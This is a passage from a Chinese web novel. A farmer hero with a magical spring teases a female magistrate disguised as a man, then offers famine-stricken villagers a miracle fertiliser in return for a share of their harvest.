四个身段婀娜的绝色女子,仅穿着几片薄薄的布料,在热气蒸腾下,肌肤白里透红,曲线毕露,那娇媚的笑声与水声交织在一起,充满了靡靡的诱惑。
“轰”的一下,一股热血直冲头顶。
沈砚秋的俏脸瞬间涨得通红,她猛地合上窗户,背靠着冰冷的墙壁,心口剧烈起伏。
“荒淫无耻!”
她低声啐骂了一句。
可骂完之后,一股更加复杂的情绪却不受控制地涌了上来。
她感受着从门窗缝隙里钻进来的刺骨寒意,再回想刚才那热气腾腾、欢声笑语的画面……
连日奔波的疲惫,深入骨髓的寒冷,在这一刻被无限放大。
一股难以言喻的羡慕,甚至是一丝渴望,就这么毫无道理地从心底最深处冒了出来。
……
不知过了多久,后院的嬉笑声渐渐停歇。
江夜披着一件厚实的裘衣,带着同样面色红润、眼含春意的四女,从后院走回。
路过西厢客房时,房门“吱呀”一声开了。
沈砚秋正端着一个空了的茶杯,似乎是准备去添些热水。
两拨人,在昏暗的走廊下,不期而遇。
四目相对,空气仿佛凝滞了一瞬。
江夜脚步一顿,看着她那张紧绷的俊脸,嘴角勾起一抹若有若无的笑意。
他抬了抬下巴,指了指身后那片依旧热气蒸腾的温泉池,语气随意地开了口。
“沈大人,这风雪天泡泡温泉,最是解乏。现在里面没人,大人若是有兴趣,可以去试试。”
沈砚秋的凤眸骤然一寒。
她脑中瞬间闪过饭桌上江夜的轻佻言语,以及方才在窗边窥见的那不堪入目的一幕。
这个男人,刚刚和他的女人们在池子里行那等荒唐之事,现在竟然还敢邀请自己去用那池水?
一丝羞愤与鄙夷从她脸上飞速闪过,她从牙缝里挤出几个字:“不必了!本官没有江先生那般懂得享乐”
“哦?是吗,那可惜了。”
江夜毫不在意地耸了耸肩,一脸“随你”的淡然表情,揽着身边的美人,转身便要回自己的主卧。
那副样子,仿佛根本没把她的拒绝放在心上。
随着江夜的离开,一阵夹杂着冰渣的狂风猛地从走廊的另一头灌了进来,吹得廊下的灯笼疯狂摇曳,光影晃动。
沈砚秋只穿着单薄的官服内衬,被这股寒风一吹,冻得身体不受控制地一颤,下意识地裹紧了衣衫。
那股无孔不入的寒意,与江夜和他女人们身上散发出的融融暖意,形成了极致的反差。
沈砚秋看着他们离去的背影,喉头不易察觉地滚动了一下。
去?
不,那岂不是与那等骄奢淫逸之徒同流合污?
不去?
可是……真的好冷,好累……
一番天人交战之后,沈砚秋脑中灵光一闪,忽然为自己找到了一个完美的理由。
对!此人手段诡谲,近乎妖法。这能在冬日里凭
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空造出温泉的法子,也算是“奇技淫巧”的一种。自己身为父母官,理应亲自探查一番,看看其中有何奥妙,将来或许……或许也能用于民生!
没错,这是为了公务!是为了体验他这“奇技淫巧”的原理!
一番自我说服之后,沈砚秋顿时觉得理直气壮,心中那点别扭和羞耻感也消散了大半。
又等了片刻,确定江夜等人已经回房不会再出来,沈砚秋这才独自一人,朝着后院那片氤氲的白雾走去。
来到空无一人的温泉池边,看着眼前这巧夺天工的造物,她心中再次**夜的手段所震撼。
池水清澈见底,水面上还飘着几片未来得及捞走的红色花瓣。
一股股热流从池底的几个孔洞中涌出,让整池水都保持着恒定的温度。
这一切,都让她叹为观止。
确认四周无人,她快速褪去身上厚重繁琐的官服,露出了贴身的白色中衣。
解开衣带,那具被官服束缚已久的、玲珑有致的绝美胴体,终于在月光与雪色的映衬下,展露无遗。
她小心翼翼地将一只雪白玉足探入水中,试了试水温,然后才慢慢地将整个身体滑入池中。
“嘶……”
一股温暖瞬间包裹了她的全身,从每一个毛孔渗透进去,瞬间驱散了积攒了数日的寒气与疲惫。
让她舒服得差点忍不住呻吟出声。
她将整个身体都浸入温暖的池水中,只露出一个精致的下巴和脑袋。
长发如墨,铺散在水面上,与皑皑白雪、氤氲水汽构成了一副绝美的画卷。
前所未有的放松与惬意,让她连日来紧绷的神经都松弛了下来。
那些烦躁、愤怒、忧虑,仿佛都被这温暖的池水一点点融化、抚平。
沈砚秋满足地叹了口气,靠在光滑的池壁上,缓缓闭上了那双狭长的凤眸。
可不知为何,脑海中,江夜那张带着玩味笑意的俊朗面容,却又一次不受控制地浮现了出来。
可恶的家伙……
却又……厉害得让人没脾气。
第175章 两个大男人,抱一下怎么了?
许久,沈砚秋才恋恋不舍地从温泉中起身。
连日来奔波劳顿积攒下的疲惫,似乎都在这氤氲的水汽中消散得一干二净。
她感觉自己又活了过来。
她用布巾快速擦干身体,快步穿过走廊,只想赶紧钻进被窝,好好地睡上一个安稳觉。
推开西厢客房的门,房间里只点了一盏昏暗的油灯,豆大的火苗在窗缝透进来的风中摇曳,将墙壁上的影子拉得忽长忽短。
此刻的沈砚秋身心极度放松,她走到桌边,对着灯芯轻轻一吹,房间瞬间陷入一片漆黑。
她摸黑走到床边,掀开厚实的棉被,直接躺了进去。
被窝里不像想象中那般冰冷,反而带着一股温热。
舒服……
这个念头刚刚从脑海中闪过,下一秒,被子忽然有个什么毛茸茸的东西,动了一下,还往她的小腿上蹭了蹭。
刹那间,沈砚秋全身的血液仿佛在这一刻冻结。
她所有的困意、所有的放松,都在瞬间消失得无影无踪。
什么东西?!
恐惧从心中涌起,沈砚秋的脑中一片空白,下一秒。
“啊——!”
一声尖锐的惊叫,猛地划破了整个江家院子的宁静。
沈砚秋像是被踩了尾巴的猫,魂飞魄散地从床上一跃而起。
她甚至顾不上浴袍的带子已经散开,只是手脚并用地向后退,直到后背重重地撞在冰冷的墙壁上,才停了下来。
“砰!”
几乎就在她尖叫声落下的瞬间,卧房的门被一股巨力从外面轰然撞开,江夜的身影瞬间出现在门口。
他身上只穿着一件单薄的中衣,显然是听到动静后立刻冲过来的。
他锐利的目光一扫,立刻就看到了缩在墙角的沈砚秋。
她的浴袍在惊慌中散开,却尤不自知,露出了大片细腻雪白的肌肤和精致的锁骨,一头乌黑的长发凌乱地披散着,衬着那张写满惊恐的脸,多了几分破碎的美感。
江夜眉头瞬间拧成了一个疙瘩。
“怎么回事?”他的声音低沉而急促。
沈砚秋惊魂未定,听到他的声音才仿佛找回了一丝神智。
她牙关打着颤,连颤抖着抬起手指,指向那团漆黑的被窝。
“床……床上有东西!会动!”
江夜的眼神瞬间变得凌厉起来。
有东西?难道有老鼠之类的玩意儿?
他大步流星地走到床边,直接伸出大手,一把就将那床厚重的棉被猛地掀开!
床上的东西,终于露出了它的真面目。
只见在床铺最温暖的中央,团子正一脸无辜地趴在那里。
它似乎是被这突如其来的变故搞懵了,歪着毛茸茸的脑袋,两只蓝色的眼瞳在黑暗中闪闪发光,嘴里还叼着一根不知从哪里找来的野鸡翎毛。
看到江夜,它银白色的尾巴欢快的摇了起来,喉咙里发出讨好的“呜呜”声。
江夜:“……”
江夜简直哭笑不得,抬手就在团子那毛茸茸的脑袋上不轻不重地拍了一巴掌。
“你个小东西!大半夜不睡觉,跑人家沈大人床上干什么!”
他压低声音笑骂道,“我看你是条色狼!”
团子被拍得一懵,嘴里的鸡毛掉在床上。
它委屈地叫唤了两声,它只是觉得这里暖和,而且这个“姐姐”身上的味道很好闻。
墙角的沈砚秋,这时也看清了床上的东西。
那……那不就是白天跟在江夜脚边的那只银白色小狼吗?
她刚才……她刚才因为这么个小东西,叫得跟杀猪一样?
还把江夜给引来了?
沈砚秋的脸颊,以肉眼可见的速度,从煞白转为绯红。
这辈子都没这么丢人过!
江夜拎着团子的后颈皮,将它从床上提溜下来,随手丢到地上。
“去,给沈大人道歉。”
团子在地上打了个滚,爬起来,还真就跑到沈砚秋脚边,用脑袋蹭了蹭她的脚踝,喉咙里发出讨好的哼哼声。
江夜看着缩在墙角,恨不得把自己埋进地里的沈砚秋,强忍着笑意,故意板起脸。
“沈大人,团子不懂事,让你受惊了。”
沈砚秋没说话。
江夜见此,蹲下下身,没好气的拍了拍团子毛茸茸的小脑袋。
“行了,出去。”
团子听了江夜的话,如蒙大赦,摇着尾巴飞快地溜了。
房间里,只剩下江夜和沈砚秋两个人。
沈砚秋还缩在墙角,方才的惊魂未定,让她一时间忘了动作。
江夜看着她呆在那里,眼底的笑意一闪而过。
他迈步走了过去。
随着他的靠近,一股夹杂着皂角清香与温热气息扑面而来,那是一种独属于江夜的气息。
沈砚秋下意识地向后缩了缩。
江夜将她完全笼罩在他的影子里。
“没事了。”
他的声音带着一丝安抚的意味。
随即,一只温热的大手伸了过来,轻轻搭在了她的肩膀上。
“地上凉,起来吧。”
那手掌宽厚而滚烫,隔着单薄的浴袍,那股热度仿佛能直接烙印在肌肤上。
沈砚秋的身体僵得像一块石头。
一股从未有过的
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酥麻感,如同电流般从肩膀处炸开,瞬间窜遍了四肢百骸。
她整个人都懵了,脑子里一片空白。
她自幼便以男子身份示人,与人交往皆是拱手作揖,何曾与任何男子有过如此亲密的肢体接触?
“放手!”
她回过神来,又羞又怒。
可江夜不仅没有松开,反而顺势一带,就将跌坐在地上的她,轻松地带进了怀里,顺带着扶她站了起来。
这一下,两人贴得更近了。
沈砚秋整个人几乎都被他圈在怀中,鼻息间全是他身上那股霸道的味道。
她能清晰地感受到他胸膛的坚实和那沉稳有力的心跳声。
“你!放手!”
沈砚秋的脸颊红得能滴出血来,挣扎着让江夜放手。
江夜低头看着她那张涨得通红的脸,嘴角的弧度越发恶劣。
他非但不放,反而将她搂得更紧了些。
他低下头,嘴唇几乎要贴上她泛着红晕的耳廓,压低的声音里满是戏谑。
“沈大人紧张什么?”
“咱们两个大男人,光着膀子抵足而眠都不算什么,抱一下,又怕什么?”
沈砚秋被噎得一口气险些没喘上来,整个人都开始不受控制地轻轻颤抖。
是气的,也是羞的。
她想反驳,想大声骂他无耻、登徒子,可话到了嘴边,却一个字也说不出来。
她能说什么?
说自己不是男人?
那岂不是当场就暴露了身份?
江夜感受着怀中身体的僵硬与轻颤,低头就能看到她微微泛红的眼眶和那倔强紧抿的唇。
欣赏着她这副羞愤欲绝却又无可奈何的模样。
见逗弄得差不多了,江夜知道不能太过火,否则真把这小辣椒逼急了,狗急跳墙,对他也没好处。
他心中暗笑着,终于松开了手臂,往后退了一步。
“哈哈,跟沈大人开个玩笑,别当真。”
他恢复了那副云淡风轻的模样,仿佛刚才那个轻薄无赖的举动根本不存在。
“夜深了,沈大人好生休息,别再被什么小东西吓着了。”
说完,他意味深长地瞥了她一眼,转身便大步流星地离去,还顺手替她带上了房门。
房间里,再次只剩下沈砚秋一个人。
冷风从敞开的门口灌了进来,吹在她只穿着单薄浴袍的身上,她却感觉不到丝毫寒意。
因为她整个人,从里到外,都像是被火烧着一样。
她站在原地,心乱如麻,羞愤欲绝。
这个无赖!恶棍!
沈砚秋死死咬着下唇,几乎要咬出血来。
第176章 这个无耻的登徒子!
次日清晨,风雪停歇。
西厢客房内,沈砚秋一夜未眠。
那个怀抱的温度,以及那句轻佻至极的“两个大男人”,如同魔咒一般,在她脑海里反复回响,挥之不去。
肩膀上似乎还残留着他手掌的滚烫触感,鼻息间也仿佛还萦绕着他身上那股霸道的皂角清香。
只要一闭上眼,浮现出的就是江夜那张带着戏谑笑意的俊脸,和那双仿佛能看透一切的深邃眼眸。
这个无耻的登徒子!
沈砚秋死死地抓着被角,指节因为用力而泛白。
忽青忽白的俏脸上,写满了挣扎与懊恼。
她恨不得立刻就离开这个让她方寸大乱的地方,一辈子都不要再见到那个可恶的男人。
“大人!大人!”
就在她天人交战之际,房门被“砰砰”敲响,一名随从的声音在门外急切地响起。
“雪停了!山路虽然难走,但属下带人去探过了,小心些,应该能下山!”
这声音对沈砚秋而言,不啻于天籁之音。
沈砚秋猛地从床上坐了起来。
“知道了,立刻收拾东西,我们马上走!”
她声音急切,显然是一刻也不想在这里多待了。
简单洗漱过后,沈砚秋换上官服,恢复了那副清冷威严的县令模样。
她领着随从快步走出客房,准备向主人家辞行。
刚走到院中,脚步便不由得一顿。
只见院中白梦夏四女正围在一起,兴高采烈地堆着一个雪人。那只名为团子的小狼也在旁边上蹿下跳,不时用脑袋去拱雪球,惹得几女娇笑连连。
清脆的娇笑声,小狼欢快的呜咽声,交织在一起,给这片冰天雪地带来些许生机。
而江夜坐在一张铺着厚厚兽皮的躺椅上,手里捧着一杯热气腾腾的香茶,目光含笑地看着她们胡闹,脸上是毫不掩饰的惬意与满足。
沈砚秋那颗烦乱了一夜的心,在看到江夜那副悠闲自得的模样时,瞬间蹿起一股无名之火。
全县百姓还在饥寒交迫中苦苦挣扎,春耕之事迫在眉睫,她这个县令愁得彻夜难眠。
可这个手握解困之法的男人,却只知携美作乐,不务正业!
简直荒唐!
江夜似乎察觉到了她的目光,缓缓转过头来。
他看到沈砚秋那张写满了“我很不爽”的俊脸,非但没有收敛,嘴角反而勾起一抹玩味的笑意。
他慢条斯理地放下茶杯,淡然开口:“沈大人这是要走了?”
那语气随意得就像在问“你吃了吗”,听在沈砚秋耳中,充满了挑衅的意味。
沈砚秋冷哼一声,语气生硬:“公务在身,不便在此久留,叨扰了。”
“无妨。”江夜浑不在意地摆了摆手。
他的目光在沈砚秋身上上下打量了一番,尤其在她那双布满血丝的凤眸上停留了一瞬,那眼神意有所指。
“神肥之法,事关青石县万千黎民的生计,兹事体大。”
他缓缓开口,声音清晰地传到沈砚秋耳中,“还望沈大人回去之后,能好好考虑一下在下昨晚的提议。”
昨晚的提议?
沈砚秋瞬间就想起了那句“介绍一位如大人这般英姿飒爽的妹妹”。
江夜这是在提醒她,想要神肥,就拿“妹妹”来换!
一股血气猛地冲上头顶,沈砚秋那张因熬夜而略显苍白的俏脸,瞬间涨得通红。
清冷的凤眸里燃起两簇怒火,恨不得用眼神在江夜身上戳出两个窟窿。
这个混蛋,竟然还敢提!
羞辱,愤怒,鄙夷……种种情绪交织在一起,让她浑身都气得发抖。
然而,面对她几乎要喷出火的目光,江夜反而朗声大笑起来。
“哈哈哈!”
那笑声里,满是毫不掩饰的戏谑与调侃。
沈砚秋感觉自己用尽全力挥出的一拳,却结结实实地打在了一团棉花上,憋屈得几欲吐血。
笑罢,江夜对着沈砚秋潇洒地做了个请便的手势;“沈大人,好走不送。”
江夜说完这话,便不再多言,转过头去继续看他的美人们玩雪。
仿佛刚才那场短暂的交锋,不过是一个无伤大雅的插曲。
沈砚秋站在原地,看着江夜那悠闲的背影,胸口剧烈起伏。
她从牙缝里挤出三个字;“我们走!”
便再也不看江夜一眼,猛地一甩衣袖,带着随从头也不回地大步离去。
……
冬去春来,转眼已是开春时节。
但经历了一个冬天的酷寒,稻花村的田地依旧冰冷坚硬,别说耕种,就连锋利的犁头都难以插入分毫。
村民们站在田垄上,看着那一片片毫无生机的田地
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,每个人的脸上都布满了愁云。
“这可咋办啊?往年这个时候,地都翻过一遍,种子都快下地了。今年这地,跟石头一样硬!”
“存粮可撑不了太久了,就指望着春耕救命呢!要是误了农时,咱们全家老小都得喝西北风去!”
“老天爷啊,这是不给咱们活路了……”
村子里,到处都弥漫着压抑而绝望的气氛。
而江夜家的卧房内却是春意盎然,暖意融融。
宽大的软榻上,白梦夏、白梦秋、林间雪三人正围坐在一起。
她们的孕肚都已十分明显,尤其是七个多月的白梦夏,腹部高高隆起,整个人都散发着一种温柔的母性光辉。
三人正低着头,手里拿着针线,专心致志地为即将出世的孩子们缝制小小的衣物和肚兜,脸上洋溢着幸福的浅笑。
一旁的慕容晴懒洋洋地靠在软垫上,一手轻柔地抚摸着自己已经微微隆起的小腹,那双明艳张扬的美眸中,满是对新生命的期待,却也藏着一丝焦躁。
她不是个能安坐的性子,这么久没活动筋骨,早就有些不耐了。
江夜斜靠在窗边的躺椅上,手里捧着一卷古籍,目光却没有落在书页上,而是看着眼前这和谐又温馨的一幕。
家有四美,即将儿女绕膝,人生至此,夫复何求。
就在这时,院外传来脚步声,江峰提着一个小小的瓦罐,愁眉苦脸地走了进来。
“大哥,你来啦。”
白梦夏眼尖,看到了他,笑着打了声招呼。
“哎,弟妹们都在呢。”江峰看到她们,脸上勉强挤出一丝笑容。
他将手里的瓦罐递过去:“前些天腌的梅子好了,想着你们几个都爱吃酸的,就给你们送些过来尝尝。”
“哇,谢谢大哥!”白梦秋眼睛一亮,欢喜地接过罐子。
林间雪也小声地道了谢,打开罐子,那股酸甜的气息立刻弥漫开来,引得几个孕妇都忍不住咽了口口水。
江峰看着她们开心的样子,勉强笑笑。
他转身走到一边,还是没忍住叹了一口气。
江夜抬头看了他一眼,随即放下书卷,指了指旁边的凳子。
“哥,坐。”
“好。”
等江峰坐下,江夜才开口问道:“大哥,这是怎么了?一大早就唉声叹气的。”
第177章 让冻土回春?
江峰见他问起,抬眼看了一眼窗外,那张憨厚的脸上满是愁绪。
“还能为啥,为地里的事呗。”
他叹了口气,“你往窗外瞅瞅,这都开春多久了,那地还冻得跟铁板似的,锄头都挖不穿地,往年这个时候,种子都该下地了,今年……唉!”
江峰越说越心慌,“村里人就指着这点春耕的收成活命。要是再种不了,全村人怕是真要饿**。”
江峰搓着那双粗糙的大手,试探着问:“小夜,你主意多,你……你有什么打算?”
一番话说得屋子里的气氛瞬间就冷了下来。
白梦夏姐妹和林间雪手里缝制小衣服的动作不约而同地停了下来,脸上幸福的浅笑也变成了掩饰不住的担忧。
就连慕容晴,也蹙起了好看的眉头,看向江夜。
她们虽然过着衣食无忧的好日子,但也知道外面的光景有多难。
春耕是所有庄稼人的命根子,地种不了,就意味着没有活路。
然而,江夜,却仿佛没感受到这股凝重的气氛。
他神情淡然地从瓦罐里捏起一颗腌渍得晶莹剔透的梅子,随手丢进嘴里。
那股酸甜的滋味在舌尖炸开,他舒服地眯了眯眼。
“地,我不打算种了。”江夜慢悠悠地说道。
“什么?!”江峰猛地抬起头,眼睛瞪得像铜铃,几乎以为自己听错了。
不种地?这节骨眼上不种地,那吃什么?喝西北风吗?
江夜仿佛没看到他那副要**的表情,自顾自地继续说:“我准备酿酒。”
江峰看着江夜那一脸悠闲的模样,简直不敢相信自己的耳朵。
震惊过后,他脸上的愁色更浓了:“小夜啊!你是不是没睡醒?种不了地,全村人都快没米下锅了,你哪来的余粮去酿酒?这不是胡闹吗!”
白梦夏她们也全都满脸疑惑地看着江夜。
她们了解江夜,知道他从不做没把握的事。
可眼下的情况,实在是太过匪夷所思,连最基本的粮食都成了问题,谈何酿酒?
看着江峰那张急得通红的脸,和四女写满问号的眼神,江夜嘴角的弧度却微微勾起,透着一丝神秘。
“哥,谁说这地种不了了?”
江峰一愣,下意识道:“全村人都看着呢!那地跟石头一样,怎么种?”
“别人种不了,不代表我们种不了。”江夜的语气平淡,却带着一股自信。
“我有办法,不仅能让这冻土回春,变得松软肥沃,而且种下去的粮食,产量最少能翻十倍。”
江峰闻言,瞬间僵在原地,整个人都懵了,大脑一片空白。
白梦夏、白梦秋、慕容晴和林间雪四女,也个个张着小嘴,美眸中写满了难以置信。
让冻土回春?
产量还能翻十倍?!
这意味着一亩地能当十亩地用!这意味着他们再也不用为粮食发愁!
如果这话不是从江夜嘴里说出来,江峰绝对会以为是哪个疯子在说胡话!
他的嘴唇哆嗦着,好半天才找回自己的声音:“小……小夜,你……你没跟哥开玩笑?”
江夜笑了笑,从躺椅上站起身,走到他面前,拍了拍江峰僵硬的肩膀。
“哥,你信我就是了,别的你什么都不用管,明天只管扛着锄头去翻地。”
江峰看着江夜,他想起弟弟过去的种种神迹,打异虎、杀野猪、凭一己之力让全村人安然度过雪灾、一桩桩一件件,都超出了他的认知。
或许,在弟弟这里,真的没有什么是
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不可能的!
这几天来的绝望在这一瞬间被轰然砸碎。
取而代之的,是无与伦比的惊喜和激动!
“哎!哎!哥听你的!”江峰激动得脸庞涨红,语无伦次,只会一个劲儿地用力点头,“哥明天天不亮就去!天不亮就去!”
看着江峰这股兴奋的劲,江夜哑然一笑。
……
第二天,天边才刚刚泛起一丝鱼肚白,江峰就扛着锄头,脚步如飞地冲向了自家那片位于村东头的田地。
到了地头,抡起锄头就朝着那片梆硬的土地狠狠砸了下去。
一下,又一下,不知疲倦。
这边的动静,很快就吸引了早起的村民。
大家伙儿陆陆续续地围了过来,看着江峰跟个疯子似的在那刨着铁板一样的地,一个个满脸都是不解。
“江峰,你这是干啥呢?”
“该不会是疯了吧?这地能种出东西来?”
一个头发花白的老农拄着拐杖,走到田边,看着江峰累得满头大汗,不由得摇头叹气。
“我说江家大郎,别白费力气了。”
老农苦口婆心地劝道,“这地冻了整整一个冬天,土里的根都冻**,现在翻开也没用。
就算你把种子种下去,也发不了芽,白白浪费了种子,听叔一句劝,省点力气吧。”
“是啊,江峰,咱们还是想想别的活路吧。”
村民们七嘴八舌地劝着,都觉得江峰是愁疯了。
江峰停下动作,用袖子抹了一把脸上的热汗,咧开嘴,露出一个灿烂得有些傻气的笑容。
他挺起胸膛,拍得“砰砰”作响,声音洪亮地对众人宣布:
“大家伙儿放心,保证这地不仅能种,收成还能翻上十倍!保管咱们饿不着!”
第178章 这个条件,你们自己选
江峰此话一出,围观的村民们先是一愣,随即像是炸开了锅。
“翻十倍?江峰你是不是让雪把脑子冻糊涂了?”
“就是啊,这地硬得跟铁一样,神仙来了也种不出粮食,还翻十倍?做什么白日梦呢!”
嘲讽和质疑声此起彼伏,没有人相信这番话。
江峰急得满脸通红,他嘴笨,说不过众人,只能重复着那句:“是我弟弟江夜说的!我弟弟说的!”
“江夜?”
“江先生?!”
当这个名字清晰地传入每个人的耳朵里时,喧闹的田埂边,瞬间陷入了一种诡异的寂静。
所有嘲讽的表情都僵在了脸上。
江夜!
这个名字,在如今的稻花村,几乎等同于神迹。
村民们脑中不由自主地闪过一幕幕画面。
那让全村人在寒冬腊月里住上暖屋的地龙!
那在凛冽寒冬里,依旧热气腾腾,能洗去一身疲乏的温泉汤池!
桩桩件件,哪一件不是匪夷所思,哪一件不是活神仙的手段?
刚才还满心的怀疑和不信,在这一刻,被名为“江夜”的两个字轰然击碎。
取而代之的,是一股前所未有的狂热与希望!
对啊!他们怎么忘了!他们村里还有江先生!
这世上要真有神仙,那一定就是江先生的模样!
“江先生真这么说了?”之前那个劝江峰的老农,拄着拐杖的手都在哆嗦,浑浊的眼睛里爆发出惊人的亮光。
江峰用力点头:“千真万确!我弟弟亲口说的!”
“哎呀!我的爹娘啊!”
不知是谁叫了一声,打破了寂静。
下一秒,所有村民都疯了。
他们再也顾不上看江峰刨地,一个个像撒开脚丫子,朝着村子中央江夜家的方向狂奔而去。
“快!快去找江先生!”
“有救了!我们有救了!”
一时间,整个稻花村都骚动起来。
江夜家的院门前,很快就**了黑压压的一片人。
“噗通!”
村长王满仓当先跪了下来,双眼通红。
“噗通!噗通!”
随着他这一跪,在场的所有村民,无论男女老少,全都齐刷刷地跪倒在地,黑压压的一片,场面无比震撼。
“江先生!求求您大发慈悲,救救我们稻花村吧!”
“江先生,求您给条活路啊!”
“只要能让我们种上地,吃上饭,您让我们做什么都行!给您当牛做马都愿意啊!”
哭喊声、磕头声、哀求声混杂在一起,充满了绝望与期盼。
他们将江夜视作了最后一根救命稻草,用最卑微的姿态,乞求垂怜。
“吱呀——”
就在这时,院门从里面被缓缓拉开。
江夜的身影出现在门口。
他依旧穿着那身简单的布衣,深邃的目光平静地扫过跪在地上乌泱泱的人群,脸上没有丝毫波澜。
他的出现,让哭喊声戛然而止。
所有人都抬起头,用一种近乎膜拜的眼神仰望着他,连呼吸都下意识地屏住了。
江夜心中早有盘算。
他要酿造的凝脂玉露酒,对粮食的质量要求很高。
与其费时费力地去外面高价收购好粮,倒不如直接将整个稻花村,变成他专属的粮仓。
如此一来,粮食的来源、品质、产量,全都在他的掌控之中,稳定且有保障。
眼前的局面,正好顺了他的意。
他看着众人,缓缓点头,沉稳的声音传到每个人耳中:“我可以帮你们,但我有一个条件!”
短短一句话,瞬间点燃了所有人的希望!
“谢江先生!”
“江先生大恩大德,我们稻花村没齿难忘!”
狂喜瞬间淹没了众人,他们激动得语无伦次,磕头磕得更响了。
老村长更是激动得老脸通红,
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连连保证:“江先生有什么吩咐尽管说!别说一个条件,就是一百个,我们都答应!”
“对!我们都答应!”村民们齐声附和,声音震天。
江夜抬了抬手,示意众人安静。
他等院子里彻底静下来,才说出了自己的条件。
“我可以提供让冻土回春、让粮食增产十倍的方法,但是,等到秋收之后,每家每户收成的三成,要归我。”
江夜话音落下,整个院子再次陷入一片死寂。
村民们脸上的笑容僵住了,一个个都愣在原地,以为自己听错了。
三成?
那是什么概念?
这个年头,给地主家当佃户,辛辛苦苦一年,地主收的租子,也不过就是三到五成。
江夜这一开口,就要三成,这几乎跟地主没什么两样了!
人群中起了骚动,不少人脸上露出了犹豫和挣扎的神色。
他们原以为江先生是救苦救难的活菩萨,却没想到,这救命的恩情,代价竟如此高昂。
“心也太黑了点吧……”
人群后面,王翠花躲在自己男人王大壮身后,撇着嘴,低声嘀咕,“这不明摆着趁火**吗?收三成,跟地主老财有什么区别?”
她声音虽小,但还是被她王大壮听见了。
王大壮猛地回过头,狠狠瞪了她一眼。
经历了这么多事,这个蠢婆娘竟然还敢在背后嚼江夜的舌根!
对于人群中的窃窃私语和众人的反应,江夜尽收眼底,却毫不在意。
他双手负后,神情依旧淡然。
“我丑话说在前面,我从不强求。愿意的,等会儿去我大哥江峰那里登记。不愿意的,现在就可以回家,另谋生路。”
他的声音里听不出一丝情绪,却带着一股不容置疑的压迫感。
“不过,机会只有这一次。今天错过了,日后若是后悔了,再想来找我,可就不是这个条件了。”
第179章 力气多得没处使
江夜说完便不再多言,只是静静地站在那里,目光平静地看着他们。
那眼神,无悲无喜,却像一座无形的大山,压在所有人的心头。
走?
另谋生路?
看着窗外那一片片如同铁板般的坚硬冻土,想到家中早已见底的米缸和孩子们饿得蜡黄的小脸,众人眼中那点犹豫和挣扎,瞬间被无尽的绝望所吞噬。
还能有什么生路?
除了等死,他们无路可走!
死,和交出三成粮食活下去。
这道选择题,根本不需要思考。
“噗通!”
村长王满仓一咬牙,苍老的身躯重重跪下,额头磕在冰冷的地面上,发出一声闷响。
“全听江先生的!”他嘶哑的声音里,带着一丝豪赌的决绝,“我王满仓,替稻花村的乡亲们,谢过先生的活命之恩!”
他这一跪,像是一个信号。
“我们答应!”
“求先生给条活路!”
“噗通!噗通!”
江夜看着眼前黑压压跪倒的一片,脸上依旧没什么表情。
他收回准备关门的手,淡淡道:“去我大哥江峰那里登记,签下契书,即日便可开始。”
说完,他便转身回了院子,将满院的期盼与决绝,都关在了门外。
当天,整个稻花村的村民们,爆发出惊人的活力。
压抑和绝望一扫而空,取而代之的是一股冲天的干劲。
村里所有的青壮年,甚至半大的小子,都扛着锄头、铁锹,冲向了自家的田地。
“铛!”“铛!”“铛!”
沉闷而清脆的撞击声,在村子上空此起彼伏。
那冻得跟铁板一样的土地,在村民们不知疲倦的挥舞下,被一点一点地凿开、翻起。
他们挥汗如雨,嘴里哈出的白气和身上的热汗交织在一起,化作蒸腾的雾气。
没人喊累,没人抱怨,每个人的脸上都带着执拗。
与此同时,与稻花村一山之隔的崔家坳,却是另一番光景。
崔家坳的村民们正三三两两地在山脚下,挎着篮子挖着刚冒头的野菜。
当他们看到不远处稻花村田地里那热火朝天的场面时,集体都懵了。
一个叫崔老三的汉子,嘴里叼着根草茎,懒洋洋地靠在田埂边的一棵歪脖子树上。
他眯着眼看了一会儿,扯着嘴角,阴阳怪气地朝那边喊道:“哎哟,我说稻花村的各位,这是咋了?开春雪大,把脑子给冻糊涂了?刨这铁板地,是想种石头疙瘩,秋天收一堆小石头吗?”
崔老三是附近有名的碎嘴子,尖酸刻薄,最爱看人笑话。
他这一嗓子,立刻引得周围崔家坳的村民们哄堂大笑。
“哈哈哈,老三你这话说的,人家说不定是力气多得没处使,帮老天爷松松土呢!”
“我看他们是饿疯了!指望着从石头里刨出粮食来!”
“别说,这股傻劲儿还挺足,就是不知道能坚持几天。
等白费了力气,浪费了种子,看他们还哭不哭得出来!”
讥讽和嘲笑声,清晰地传到了稻花村村民们的耳朵里。
正在埋头苦干的村民们动作一滞,脸上火辣辣的,像是被人当众扇了几个耳光。
不少年轻的小伙子当场就涨红了脸,想冲过去理论。<
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br>“干活!”江峰闷吼一声,抡起锄头,更加用力地砸向地面,仿佛将所有的羞辱和憋屈都砸进了脚下的土地里。
村民们看到江峰的样子,也都咬紧了牙关,不再理会那些嘲讽,将所有的气力都用在了手里的农具上。
他们心中都憋着一股气。
等着吧!等秋收的时候,看谁笑话谁!
几天后,在全村人的努力下,所有田地,竟然真的被硬生生翻了一遍。
种子播下,覆盖上薄薄的土层。
万事俱备,只欠东风。
翻完整片土地,播完种子的村民们,顾不上休息,再次自发地**到了江夜家的院门前。
上百双眼睛里,充满了期盼和紧张。
“吱呀——”
院门打开,江夜走了出来。
他没有一句废话,只是朝身后的王囤点了点头。
王囤立刻会意,带着几个护院,从院子里抬出了十几只半人高的大木桶。
木桶被一一揭开,一股淡淡的清香,瞬间弥漫开来。
村民们好奇地伸长了脖子,只见那木桶里装的,并非他们想象中的粪肥,而是一种色泽黝黑、质地细腻的“黑泥”。
那泥土看起来湿润松软,散发着草木的清新,闻着非但不臭,反而让人精神一振。
这是什么肥料?
众人心中惊疑不定。
这自然不是普通的肥料。
这是江夜取了灵泉空间里最肥沃的黑土,混合了大量的草木灰,最后又用稀释过的灵泉水搅拌均匀,特制而成的“神肥”。
这东西别说让冻土回春,就是撒在沙漠里,也能长出庄稼来。
第180章 等着看笑话
村民们议论纷纷,盯着木桶里那黑乎乎的东西,脸上的表情精彩纷呈。
在他们想来,能让冻土回春、产量翻十倍的神肥,定然是某种金光闪闪、异香扑鼻的宝贝。
可眼前这东西,除了颜色黑亮一些,闻着有股草木清香,不就跟河滩上挖来的淤泥差不多吗?
这玩意儿,真有那么神奇?
江夜懒得解释,只是对王囤等人吩咐道:“按册子上的分量,给各家分下去,告诉他们,均匀撒在种子上,再覆上一层薄土即可。”
“是,江先生!”
护院们应声而动,开始给村民们分发“黑泥”。
村民们将信将疑地排着队,领了那一份看起来平平无奇的肥料。
